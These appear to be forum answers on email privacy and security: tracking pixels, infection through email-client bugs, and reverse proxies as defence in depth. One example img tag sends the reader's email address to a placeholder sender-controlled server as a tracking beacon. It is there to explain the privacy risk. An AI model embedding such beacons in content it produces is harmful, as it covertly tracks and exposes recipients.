Now imagine what kind of information the sender could gain if your client downloads an image specified by the sender from a server specified by the sender.

Of course he would get: The exact time and, very important, the confirmation that you viewed the message at all. He could easily track you.

Who could want such information and what for? Spambots could verify that the address is valid and active in use. ...

How does it work practically?
Say you are viewing a HTML-Mail and it would contain something like this <img src="http://sendercontrolledserver/didviewmail.jpg?address=youremail@yourprovider" width="1" height="1" />. Your client does not know what happens on the server if it requests that image, the resouce delivered by the server doesn't need to be an image at all, how could the client know before loading it. You couldn't see it with that size, too.

These are your private personal information and exposure of them would be a privacy threat.


Can one be infected just by reading an e-mail

Infection from malware in emails comes from bugs in email software. Namely, when you "open" the email, you instruct your email software to process the email data in order to turn it into something which can be displayed. With all the paraphernalia of fonts and HTML and images and scripts, this processing has become quite complex, and thus there are bugs, and bugs can sometimes be abused into actual vulnerabilities.

In that sense, opening an evil email is akin to browsing an evil Web site.


How does a reverse proxy change the security posture of a web server residing in the DMZ?

There are a couple of advantages.

If your host sits behind a reverse proxy, you are implementing the "defence in depth" model.

Let's say your web server has an exploitable vulnerability which you have not patched yet. If your web server was directly accessible without being behind a reverse proxy, your host's vulnerability can be exploited, resulting in a compromised web server and potentially leaving all other hosts on the same subnet at risk. Furthermore, if your web server needs to communicate with a datasource (such as a database), you will be putting your data at risk.

If on the other hand, your host is sitting behind a reverse proxy, any vulnerabilities exploited would leave your reverse proxy compromised, and not your "actual" web server. This is usually in a segregated DMZ with very restricted access.

Further more, implementing a reverse proxy allows you to add additional security controls to your website without using up resources on your web server. These include web application firewalls, HIDS and more. You can also implement additional layers of authentication easily in such a scenario, should you need to.